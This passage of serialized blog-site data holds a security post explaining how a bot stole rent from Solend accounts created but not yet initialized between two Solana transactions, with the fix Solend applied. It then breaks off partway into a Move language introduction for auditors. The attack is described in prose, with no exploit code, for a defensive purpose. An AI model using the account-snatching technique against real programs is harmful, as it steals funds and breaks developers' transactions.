4831],{"id":63,"depth":147,"text":66},{"id":1122,"depth":147,"text":1125},{"id":1429,"depth":147,"text":1432},{"id":2517,"depth":147,"text":2520},{"_path":4833,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":4834,"description":4835,"image":4836,"date":4840,"isFeatured":15,"onBlogPage":15,"tags":4841,"body":4842,"_type":2586,"_id":5168,"_source":2588,"_file":5169,"_stem":5170,"_extension":2591},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":4837,"width":4838,"height":4839},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[17,18],{"type":20,"children":4843,"toc":5161},[4844,4849,4855,4860,4865,4870,4876,4889,4938,4969,4978,4983,4988,4993,4999,5012,5028,5033,5038,5053,5057,5062,5077,5084,5089,5099,5106,5110,5115,5121,5126,5131,5136,5142,5147],{"type":23,"tag":24,"props":4845,"children":4846},{},[4847],{"type":28,"value":4848},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":23,"tag":61,"props":4850,"children":4852},{"id":4851},"background",[4853],{"type":28,"value":4854},"Background",{"type":23,"tag":24,"props":4856,"children":4857},{},[4858],{"type":28,"value":4859},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":23,"tag":24,"props":4861,"children":4862},{},[4863],{"type":28,"value":4864},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":23,"tag":24,"props":4866,"children":4867},{},[4868],{"type":28,"value":4869},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":23,"tag":61,"props":4871,"children":4873},{"id":4872},"the-exploit",[4874],{"type":28,"value":4875},"The Exploit",{"type":23,"tag":24,"props":4877,"children":4878},{},[4879,4881,4887],{"type":28,"value":4880},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":23,"tag":92,"props":4882,"children":4884},{"className":4883},[],[4885],{"type":28,"value":4886},"init_reserve",{"type":28,"value":4888}," function, which creates 6 new accounts to store data about the reserve:",{"type":23,"tag":4890,"props":4891,"children":4892},"ol",{},[4893,4899,4904,4909,4920,4925],{"type":23,"tag":4894,"props":4895,"children":4896},"li",{},[4897],{"type":28,"value":4898},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":23,"tag":4894,"props":4900,"children":4901},{},[4902],{"type":28,"value":4903},"reserve liquidity token account - holds deposited tokens",{"type":23,"tag":4894,"props":4905,"children":4906},{},[4907],{"type":28,"value":4908},"fee receiver token account - account which will receive origination fees on borrows",{"type":23,"tag":4894,"props":4910,"children":4911},{},[4912,4914],{"type":28,"value":4913},"reserve collateral mint account - deposit receipt token, also known as ",{"type":23,"tag":92,"props":4915,"children":4917},{"className":4916},[],[4918],{"type":28,"value":4919},"cTokens",{"type":23,"tag":4894,"props":4921,"children":4922},{},[4923],{"type":28,"value":4924},"reserve collateral token account - holds users' collateral tokens",{"type":23,"tag":4894,"props":4926,"children":4927},{},[4928,4930,4936],{"type":28,"value":4929},"creator collateral token account - creator's ",{"type":23,"tag":92,"props":4931,"children":4933},{"className":4932},[],[4934],{"type":28,"value":4935},"cToken",{"type":28,"value":4937}," account",{"type":23,"tag":24,"props":4939,"children":4940},{},[4941,4943,4948,4950,4955,4957,4962,4964],{"type":28,"value":4942},"Account creation and initialization are ",{"type":23,"tag":55,"props":4944,"children":4945},{},[4946],{"type":28,"value":4947},"usually",{"type":28,"value":4949}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":23,"tag":92,"props":4951,"children":4953},{"className":4952},[],[4954],{"type":28,"value":4886},{"type":28,"value":4956}," is ",{"type":23,"tag":55,"props":4958,"children":4959},{},[4960],{"type":28,"value":4961},"supposed",{"type":28,"value":4963}," to look like:\n",{"type":23,"tag":1116,"props":4965,"children":4968},{"src":4966,"alt":4967},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":23,"tag":24,"props":4970,"children":4971},{},[4972,4974],{"type":28,"value":4973},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":23,"tag":1116,"props":4975,"children":4977},{"src":4976,"alt":4967},"/posts/rent-thief/attacktransac.png",[],{"type":23,"tag":24,"props":4979,"children":4980},{},[4981],{"type":28,"value":4982},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":23,"tag":24,"props":4984,"children":4985},{},[4986],{"type":28,"value":4987},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":23,"tag":24,"props":4989,"children":4990},{},[4991],{"type":28,"value":4992},"Despite this lost cost, this is pretty annoying...",{"type":23,"tag":61,"props":4994,"children":4996},{"id":4995},"example",[4997],{"type":28,"value":4998},"Example",{"type":23,"tag":24,"props":5000,"children":5001},{},[5002,5004,5011],{"type":28,"value":5003},"Let's take a look at ",{"type":23,"tag":31,"props":5005,"children":5008},{"href":5006,"rel":5007},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[35],[5009],{"type":28,"value":5010},"a real attack",{"type":28,"value":720},{"type":23,"tag":24,"props":5013,"children":5014},{},[5015,5022,5024],{"type":23,"tag":31,"props":5016,"children":5019},{"href":5017,"rel":5018},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[35],[5020],{"type":28,"value":5021},"Transaction 1",{"type":28,"value":5023},":\n",{"type":23,"tag":1116,"props":5025,"children":5027},{"alt":7,"src":5026},"https://i.imgur.com/xJvIwgc.png",[],{"type":23,"tag":24,"props":5029,"children":5030},{},[5031],{"type":28,"value":5032},"(...more accounts truncated)",{"type":23,"tag":24,"props":5034,"children":5035},{},[5036],{"type":28,"value":5037},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":23,"tag":24,"props":5039,"children":5040},{},[5041,5048,5049],{"type":23,"tag":31,"props":5042,"children":5045},{"href":5043,"rel":5044},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[35],[5046],{"type":28,"value":5047},"Attacker's Transaction",{"type":28,"value":5023},{"type":23,"tag":1116,"props":5050,"children":5052},{"alt":7,"src":5051},"https://i.imgur.com/CpSKuL3.png",[],{"type":23,"tag":24,"props":5054,"children":5055},{},[5056],{"type":28,"value":5032},{"type":23,"tag":24,"props":5058,"children":5059},{},[5060],{"type":28,"value":5061},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":23,"tag":24,"props":5063,"children":5064},{},[5065,5072,5073],{"type":23,"tag":31,"props":5066,"children":5069},{"href":5067,"rel":5068},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[35],[5070],{"type":28,"value":5071},"Transaction 2",{"type":28,"value":5023},{"type":23,"tag":1116,"props":5074,"children":5076},{"alt":7,"src":5075},"https://i.imgur.com/of0GIdw.png",[],{"type":23,"tag":24,"props":5078,"children":5079},{},[5080],{"type":23,"tag":1116,"props":5081,"children":5083},{"alt":7,"src":5082},"https://i.imgur.com/0STSyv8.png",[],{"type":23,"tag":24,"props":5085,"children":5086},{},[5087],{"type":28,"value":5088},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":23,"tag":24,"props":5090,"children":5091},{},[5092,5098],{"type":23,"tag":31,"props":5093,"children":5096},{"href":5094,"rel":5095},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[35],[5097],{"type":28,"value":5047},{"type":28,"value":1697},{"type":23,"tag":24,"props":5100,"children":5101},{},[5102],{"type":23,"tag":1116,"props":5103,"children":5105},{"alt":7,"src":5104},"https://i.imgur.com/AmSPdmy.png",[],{"type":23,"tag":24,"props":5107,"children":5108},{},[5109],{"type":28,"value":5032},{"type":23,"tag":24,"props":5111,"children":5112},{},[5113],{"type":28,"value":5114},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":23,"tag":61,"props":5116,"children":5118},{"id":5117},"impact",[5119],{"type":28,"value":5120},"Impact",{"type":23,"tag":24,"props":5122,"children":5123},{},[5124],{"type":28,"value":5125},"Rent-thieving attacks don't steal much money.",{"type":23,"tag":24,"props":5127,"children":5128},{},[5129],{"type":28,"value":5130},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":23,"tag":24,"props":5132,"children":5133},{},[5134],{"type":28,"value":5135},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":23,"tag":61,"props":5137,"children":5139},{"id":5138},"solution",[5140],{"type":28,"value":5141},"Solution",{"type":23,"tag":24,"props":5143,"children":5144},{},[5145],{"type":28,"value":5146},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":23,"tag":24,"props":5148,"children":5149},{},[5150,5152,5159],{"type":28,"value":5151},"As a more permenant solution, Solend implemented ",{"type":23,"tag":31,"props":5153,"children":5156},{"href":5154,"rel":5155},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[35],[5157],{"type":28,"value":5158},"an onchain program",{"type":28,"value":5160}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":147,"depth":147,"links":5162},[5163,5164,5165,5166,5167],{"id":4851,"depth":147,"text":4854},{"id":4872,"depth":147,"text":4875},{"id":4995,"depth":147,"text":4998},{"id":5117,"depth":147,"text":5120},{"id":5138,"depth":147,"text":5141},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":5172,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":5173,"description":5174,"author":5175,"image":5176,"date":5180,"isFeatured":15,"onBlogPage":15,"body":5181,"_type":2586,"_id":8719,"_source":2588,"_file":8720,"_stem":8721,"_extension":2591},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":5177,"height":5178,"width":5179},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":20,"children":5182,"toc":8714},[5183,5188,5193,5212,5218,5230,5329,5337,5457,5465,5487,5640,5645,5903,5925,5960,5965,5985,5990,6001,6013,6225,6237,6251,6264,6521,6533,6755,6760,6788,6934,6953,6958,7223,7235,7240,7253,7259,7264,7269,7281,7295,7300,7399,7411,7424,7698,7703,7715,7720,7774,7794,7799,8683,8687,8692,8697,8710],{"type":23,"tag":24,"props":5184,"children":5185},{},[5186],{"type":28,"value":5187},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":23,"tag":24,"props":5189,"children":5190},{},[5191],{"type":28,"value":5192},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":23,"tag":24,"props":5194,"children":5195},{},[5196,5198,5203,5205,5210],{"type":28,"value":5197},"In this piece I'll seek to discuss exactly ",{"type":23,"tag":55,"props":5199,"children":5200},{},[5201],{"type":28,"value":5202},"how",{"type":28,"value":5204}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":23,"tag":55,"props":5206,"children":5207},{},[5208],{"type":28,"value":5209},"structurally",{"type":28,"value":5211}," safer programs.",{"type":23,"tag":61,"props":5213,"children":5215},{"id":5214},"types",[5216],{"type":28,"value":5217},"Types",{"type":23,"tag":24,"props":5219,"children":5220},{},[5221,5223,5229],{"type":28,"value":5222},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":23,"tag":92,"props":5224,"children":5226},{"className":5225},[],[5227],{"type":28,"value":5228},"coin.move",{"type":28,"value":720},{"type":23,"tag":87,"props":5231,"children":5233},{"className":128,"code":5232,"language":127,"meta":7,"style":7},"  /// Main structure representing a coin/token in an account's custody.\n  struct Coin\u003Cphantom CoinType> has store {\n      /// Amount of coin this address has.\n      value: u64,\n  }\n",[5234],{"type":23,"tag":92,"props":5235,"children":5236},{"__ignoreMap":7},[5237,5245,5292,5300,5321],{"type":23,"tag":134,"props":5238,"children":5239},{"class":136,"line":137},[5240],{"type":23,"tag":134,"props":5241,"children":5242},{"style":141},[5243],{"type":28,"value":5244},"  /// Main structure representing a coin/token in an account's custody.\n",{"type":23,"tag":134,"props":5246,"children":5247},{"class":136,"line":147},[5248,5253,5258,5263,5268,5273,5278,5283,5288],{"type":23,"tag":134,"props":5249,"children":5250},{"style":151},[5251],{"type":28,"value":5252},"  struct",{"type":23,"tag":134,"props":5254,"children":5255},{"style":597},[5256],{"type":28,"value":5257}," Coin",{"type":23,"tag":134,"props":5259,"children":5260},{"style":179},[5261],{"type":28,"value":5262},"\u003C",{"type":23,"tag":134,"props":5264,"children":5265},{"style":162},[5266],{"type":28,"value":5267},"phantom",{"type":23,"tag":134,"props":5269,"children":5270},{"style":597},[5271],{"type":28,"value":5272}," CoinType",{"type":23,"tag":134,"props":5274,"children":5275},{"style":179},[5276],{"type":28,"value":5277},"> ",{"type":23,"tag":134,"props":5279,"children":5280},{"style":162},[5281],{"type":28,"value":5282},"has",{"type":23,"tag":134,"props":5284,"children":5285},{"style":162},[5286],{"type":28,"value":5287}," store",{"type":23,"tag":134,"props":5289,"children":5290},{"style":179},[5291],{"type":28,"value":463},{"type":23,"tag":134,"props":5293,"children":5294},{"class":136,"line":185},[5295],{"type":23,"tag":134,"props":5296,"children":5297},{"style":141},[5298],{"type":28,"value":5299},"      /// Amount of coin this address has.\n",{"type":23,"tag":134,"props":5301,"children":5302},{"class":136,"line":221},[5303,5308,5312,5317],{"type":23,"tag":134,"props":5304,"children":5305},{"style":162},[5306],{"type":28,"value":5307},"      value",{"type":23,"tag":134,"props":5309,"children":5310},{"style":168},[5311],{"type":28,"value":1697},{"type":23,"tag":134,"props":5313,"children":5314},{"style":597},[5315],{"type":28,"value":5316}," u64",{"type":23,"tag":134,"props":5318,"children":5319},{"style":179},[5320],{"type":28,"value":687},{"type":23,"tag":134,"props":5322,"children":5323},{"class":136,"line":332},[5324],{"type":23,"tag":134,"props":5325,"children":5326},{"style":179},[5327],{"type":28,"value":5328},"  }\n",{"type":23,"tag":24,"props":5330,"children":5331},{},[5332],{"type":23,"tag":55,"props":5333,"children":5334},{},[5335],{"type":28,"value":5336},"aptos",{"type":23,"tag":87,"props":5338,"children":5340},{"className":128,"code":5339,"language":127,"meta":7,"style":7},"  /// A coin of type `T` worth `value`. Transferable and storable\n  struct Coin\u003Cphantom T> has key, store {\n      id: UID,\n      balance: Balance\u003CT>\n  }\n",[5341],{"type":23,"tag":92,"props":5342,"children":5343},{"__ignoreMap":7},[5344,5352,5402,5419,5450],{"type":23,"tag":134,"props":5345,"children":5346},{"class":136,"line":137},[5347],{"type":23,"tag":134,"props":5348,"children":5349},{"style":141},[5350],{"type":28,"value":5351},"  /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":23,"tag":134,"props":5353,"children":5354},{"class":136,"line":147},[5355,5359,5363,5367,5371,5376,5380,5384,5389,5393,5398],{"type":23,"tag":134,"props":5356,"children":5357},{"style":151},[5358],{"type":28,"value":5252},{"type":23,"tag":134,"props":5360,"children":5361},{"style":597},[5362],{"type":28,"value":5257},{"type":23,"tag":134,"props":5364,"children":5365},{"style":179},[5366],{"type":28,"value":5262},{"type":23,"tag":134,"props":5368,"children":5369},{"style":162},[5370],{"type":28,"value":5267},{"type":23,"tag":134,"props":5372,"children":5373},{"style":597},[5374],{"type":28,"value":5375}," T",{"type":23,"tag":134,"props":5377,"children":5378},{"style":179},[5379],{"type":28,"value":5277},{"type":23,"tag":134,"props":5381,"children":5382},{"style":162},[5383],{"type":28,"value":5282},{"type":23,"tag":134,"props":5385,"children":5386},{"style":162},[5387],{"type":28,"value":5388}," key",{"type":23,"tag":134,"props":5390,"children":5391},{"style":179},[5392],{"type":28,"value":242},{"type":23,"tag":134,"props":5394,"children":5395},{"style":162},[5396],{"type":28,"value":5397},"store",{"type":23,"tag":134,"props":5399,"children":5400},{"style":179},[5401],{"type":28,"value":463},{"type":23,"tag":134,"props":5403,"children":5404},{"class":136,"line":185},[5405,5410,5414],{"type":23,"tag":134,"props":5406,"children":5407},{"style":162},[5408],{"type":28,"value":5409},"      id",{"type":23,"tag":134,"props":5411,"children":5412},{"style":168},[5413],{"type":28,"value":1697},{"type":23,"tag":134,"props":5415,"children":5416},{"style":179},[5417],{"type":28,"value":5418}," UID,\n",{"type":23,"tag":134,"props":5420,"children":5421},{"class":136,"line":221},[5422,5427,5431,5436,5440,5445],{"type":23,"tag":134,"props":5423,"children":5424},{"style":162},[5425],{"type":28,"value":5426},"      balance",{"type":23,"tag":134,"props":5428,"children":5429},{"style":168},[5430],{"type":28,"value":1697},{"type":23,"tag":134,"props":5432,"children":5433},{"style":597},[5434],{"type":28,"value":5435}," Balance",{"type":23,"tag":134,"props":5437,"children":5438},{"style":179},[5439],{"type":28,"value":5262},{"type":23,"tag":134,"props":5441,"children":5442},{"style":597},[5443],{"type":28,"value":5444},"T",{"type":23,"tag":134,"props":5446,"children":5447},{"style":179},[5448],{"type":28,"value":5449},">\n",{"type":23,"tag":134,"props":5451,"children":5452},{"class":136,"line":332},[5453],{"type":23,"tag":134,"props":5454,"children":5455},{"style":179},[5456],{"type":28,"value":5328},{"type":23,"tag":24,"props":5458,"children":5459},{},[5460],{"type":23,"tag":55,"props":5461,"children":5462},{},[5463],{"type":28,"value":5464},"sui",{"type":23,"tag":24,"props":5466,"children":5467},{},[5468,5470,5477,5479,5485],{"type":28,"value":5469},"Pulling an example from ",{"type":23,"tag":31,"props":5471,"children":5474},{"href":5472,"rel":5473},"https://pontem.network/",[35],[5475],{"type":28,"value":5476},"Pontem Network's",{"type":28,"value":5478}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":23,"tag":92,"props":5480,"children":5482},{"className":5481},[],[5483],{"type":28,"value":5484},"LiquidityPool",{"type":28,"value":5486}," natively embeds this type information into it's fields.",{"type":23,"tag":87,"props":5488,"children":5490},{"className":128,"code":5489,"language":127,"meta":7,"style":7},"    /// Liquidity pool with reserves.\n    struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n        coin_x_reserve: Coin\u003CX>,\n        coin_y_reserve: Coin\u003CY>,\n        // ...\n    }\n",[5491],{"type":23,"tag":92,"props":5492,"children":5493},{"__ignoreMap":7},[5494,5502,5566,5596,5625,5633],{"type":23,"tag":134,"props":5495,"children":5496},{"class":136,"line":137},[5497],{"type":23,"tag":134,"props":5498,"children":5499},{"style":141},[5500],{"type":28,"value":5501},"    /// Liquidity pool with reserves.\n",{"type":23,"tag":134,"props":5503,"children":5504},{"class":136,"line":147},[5505,5510,5515,5519,5523,5528,5532,5536,5541,5545,5549,5554,5558,5562],{"type":23,"tag":134,"props":5506,"children":5507},{"style":151},[5508],{"type":28,"value":5509},"    struct",{"type":23,"tag":134,"props":5511,"children":5512},{"style":597},[5513],{"type":28,"value":5514}," LiquidityPool",{"type":23,"tag":134,"props":5516,"children":5517},{"style":179},[5518],{"type":28,"value":5262},{"type":23,"tag":134,"props":5520,"children":5521},{"style":162},[5522],{"type":28,"value":5267},{"type":23,"tag":134,"props":5524,"children":5525},{"style":597},[5526],{"type":28,"value":5527}," X",{"type":23,"tag":134,"props":5529,"children":5530},{"style":179},[5531],{"type":28,"value":242},{"type":23,"tag":134,"props":5533,"children":5534},{"style":162},[5535],{"type":28,"value":5267},{"type":23,"tag":134,"props":5537,"children":5538},{"style":597},[5539],{"type":28,"value":5540}," Y",{"type":23,"tag":134,"props":5542,"children":5543},{"style":179},[5544],{"type":28,"value":242},{"type":23,"tag":134,"props":5546,"children":5547},{"style":162},[5548],{"type":28,"value":5267},{"type":23,"tag":134,"props":5550,"children":5551},{"style":179},[5552],{"type":28,"value":5553}," LP> ",{"type":23,"tag":134,"props":5555,"children":5556},{"style":162},[5557],{"type":28,"value":5282},{"type":23,"tag":134,"props":5559,"children":5560},{"style":162},[5561],{"type":28,"value":5388},{"type":23,"tag":134,"props":5563,"children":5564},{"style":179},[5565],{"type":28,"value":463},{"type":23,"tag":134,"props":5567,"children":5568},{"class":136,"line":185},[5569,5574,5578,5582,5586,5591],{"type":23,"tag":134,"props":5570,"children":5571},{"style":162},[5572],{"type":28,"value":5573},"        coin_x_reserve",{"type":23,"tag":134,"props":5575,"children":5576},{"style":168},[5577],{"type":28,"value":1697},{"type":23,"tag":134,"props":5579,"children":5580},{"style":597},[5581],{"type":28,"value":5257},{"type":23,"tag":134,"props":5583,"children":5584},{"style":179},[5585],{"type":28,"value":5262},{"type":23,"tag":134,"props":5587,"children":5588},{"style":597},[5589],{"type":28,"value":5590},"X",{"type":23,"tag":134,"props":5592,"children":5593},{"style":179},[5594],{"type":28,"value":5595},">,\n",{"type":23,"tag":134,"props":5597,"children":5598},{"class":136,"line":221},[5599,5604,5608,5612,5616,5621],{"type":23,"tag":134,"props":5600,"children":5601},{"style":162},[5602],{"type":28,"value":5603},"        coin_y_reserve",{"type":23,"tag":134,"props":5605,"children":5606},{"style":168},[5607],{"type":28,"value":1697},{"type":23,"tag":134,"props":5609,"children":5610},{"style":597},[5611],{"type":28,"value":5257},{"type":23,"tag":134,"props":5613,"children":5614},{"style":179},[5615],{"type":28,"value":5262},{"type":23,"tag":134,"props":5617,"children":5618},{"style":597},[5619],{"type":28,"value":5620},"Y",{"type":23,"tag":134,"props":5622,"children":5623},{"style":179},[5624],{"type":28,"value":5595},{"type":23,"tag":134,"props":5626,"children":5627},{"class":136,"line":332},[5628],{"type":23,"tag":134,"props":5629,"children":5630},{"style":141},[5631],{"type":28,"value":5632},"        // ...\n",{"type":23,"tag":134,"props":5634,"children":5635},{"class":136,"line":438},[5636],{"type":23,"tag":134,"props":5637,"children":5638},{"style":179},[5639],{"type":28,"value":533},{"type":23,"tag":24,"props":5641,"children":5642},{},[5643],{"type":28,"value":5644},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":23,"tag":87,"props":5646,"children":5648},{"className":128,"code":5647,"language":127,"meta":7,"style":7},"      public fun mint\u003CX, Y, LP>(\n          pool_addr: address,\n          coin_x: Coin\u003CX>,\n          coin_y: Coin\u003CY>\n      ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n          // ...\n\n          let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[5649],{"type":23,"tag":92,"props":5650,"children":5651},{"__ignoreMap":7},[5652,5691,5712,5740,5768,5819,5827,5834],{"type":23,"tag":134,"props":5653,"children":5654},{"class":136,"line":137},[5655,5660,5665,5670,5674,5678,5682,5686],{"type":23,"tag":134,"props":5656,"children":5657},{"style":162},[5658],{"type":28,"value":5659},"      public",{"type":23,"tag":134,"props":5661,"children":5662},{"style":162},[5663],{"type":28,"value":5664}," fun",{"type":23,"tag":134,"props":5666,"children":5667},{"style":162},[5668],{"type":28,"value":5669}," mint",{"type":23,"tag":134,"props":5671,"children":5672},{"style":179},[5673],{"type":28,"value":5262},{"type":23,"tag":134,"props":5675,"children":5676},{"style":597},[5677],{"type":28,"value":5590},{"type":23,"tag":134,"props":5679,"children":5680},{"style":179},[5681],{"type":28,"value":242},{"type":23,"tag":134,"props":5683,"children":5684},{"style":597},[5685],{"type":28,"value":5620},{"type":23,"tag":134,"props":5687,"children":5688},{"style":179},[5689],{"type":28,"value":5690},", LP>(\n",{"type":23,"tag":134,"props":5692,"children":5693},{"class":136,"line":147},[5694,5699,5703,5708],{"type":23,"tag":134,"props":5695,"children":5696},{"style":162},[5697],{"type":28,"value":5698},"          pool_addr",{"type":23,"tag":134,"props":5700,"children":5701},{"style":168},[5702],{"type":28,"value":1697},{"type":23,"tag":134,"props":5704,"children":5705},{"style":162},[5706],{"type":28,"value":5707}," address",{"type":23,"tag":134,"props":5709,"children":5710},{"style":179},[5711],{"type":28,"value":687},{"type":23,"tag":134,"props":5713,"children":5714},{"class":136,"line":185},[5715,5720,5724,5728,5732,5736],{"type":23,"tag":134,"props":5716,"children":5717},{"style":162},[5718],{"type":28,"value":5719},"          coin_x",{"type":23,"tag":134,"props":5721,"children":5722},{"style":168},[5723],{"type":28,"value":1697},{"type":23,"tag":134,"props":5725,"children":5726},{"style":597},[5727],{"type":28,"value":5257},{"type":23,"tag":134,"props":5729,"children":5730},{"style":179},[5731],{"type":28,"value":5262},{"type":23,"tag":134,"props":5733,"children":5734},{"style":597},[5735],{"type":28,"value":5590},{"type":23,"tag":134,"props":5737,"children":5738},{"style":179},[5739],{"type":28,"value":5595},{"type":23,"tag":134,"props":5741,"children":5742},{"class":136,"line":221},[5743,5748,5752,5756,5760,5764],{"type":23,"tag":134,"props":5744,"children":5745},{"style":162},[5746],{"type":28,"value":5747},"          coin_y",{"type":23,"tag":134,"props":5749,"children":5750},{"style":168},[5751],{"type":28,"value":1697},{"type":23,"tag":134,"props":5753,"children":5754},{"style":597},[5755],{"type":28,"value":5257},{"type":23,"tag":134,"props":5757,"children":5758},{"style":179},[5759],{"type":28,"value":5262},{"type":23,"tag":134,"props":5761,"children":5762},{"style":597},[5763],{"type":28,"value":5620},{"type":23,"tag":134,"props":5765,"children":5766},{"style":179},[5767],{"type":28,"value":5449},{"type":23,"tag":134,"props":5769,"children":5770},{"class":136,"line":332},[5771,5776,5780,5784,5788,5793,5797,5802,5806,5810,5815],{"type":23,"tag":134,"props":5772,"children":5773},{"style":179},[5774],{"type":28,"value":5775},"      )",{"type":23,"tag":134,"props":5777,"children":5778},{"style":168},[5779],{"type":28,"value":1697},{"type":23,"tag":134,"props":5781,"children":5782},{"style":597},[5783],{"type":28,"value":5257},{"type":23,"tag":134,"props":5785,"children":5786},{"style":179},[5787],{"type":28,"value":5262},{"type":23,"tag":134,"props":5789,"children":5790},{"style":597},[5791],{"type":28,"value":5792},"LP",{"type":23,"tag":134,"props":5794,"children":5795},{"style":179},[5796],{"type":28,"value":5277},{"type":23,"tag":134,"props":5798,"children":5799},{"style":162},[5800],{"type":28,"value":5801},"acquires",{"type":23,"tag":134,"props":5803,"children":5804},{"style":597},[5805],{"type":28,"value":5514},{"type":23,"tag":134,"props":5807,"children":5808},{"style":179},[5809],{"type":28,"value":242},{"type":23,"tag":134,"props":5811,"children":5812},{"style":597},[5813],{"type":28,"value":5814},"EventsStore",{"type":23,"tag":134,"props":5816,"children":5817},{"style":179},[5818],{"type":28,"value":463},{"type":23,"tag":134,"props":5820,"children":5821},{"class":136,"line":438},[5822],{"type":23,"tag":134,"props":5823,"children":5824},{"style":141},[5825],{"type":28,"value":5826},"          // ...\n",{"type":23,"tag":134,"props":5828,"children":5829},{"class":136,"line":466},[5830],{"type":23,"tag":134,"props":5831,"children":5832},{"emptyLinePlaceholder":15},[5833],{"type":28,"value":865},{"type":23,"tag":134,"props":5835,"children":5836},{"class":136,"line":479},[5837,5842,5846,5851,5855,5860,5864,5868,5873,5877,5881,5885,5889,5894,5899],{"type":23,"tag":134,"props":5838,"children":5839},{"style":151},[5840],{"type":28,"value":5841},"          let",{"type":23,"tag":134,"props":5843,"children":5844},{"style":179},[5845],{"type":28,"value":232},{"type":23,"tag":134,"props":5847,"children":5848},{"style":162},[5849],{"type":28,"value":5850},"x_reserve_size",{"type":23,"tag":134,"props":5852,"children":5853},{"style":179},[5854],{"type":28,"value":242},{"type":23,"tag":134,"props":5856,"children":5857},{"style":162},[5858],{"type":28,"value":5859},"y_reserve_size",{"type":23,"tag":134,"props":5861,"children":5862},{"style":179},[5863],{"type":28,"value":252},{"type":23,"tag":134,"props":5865,"children":5866},{"style":168},[5867],{"type":28,"value":257},{"type":23,"tag":134,"props":5869,"children":5870},{"style":162},[5871],{"type":28,"value":5872}," 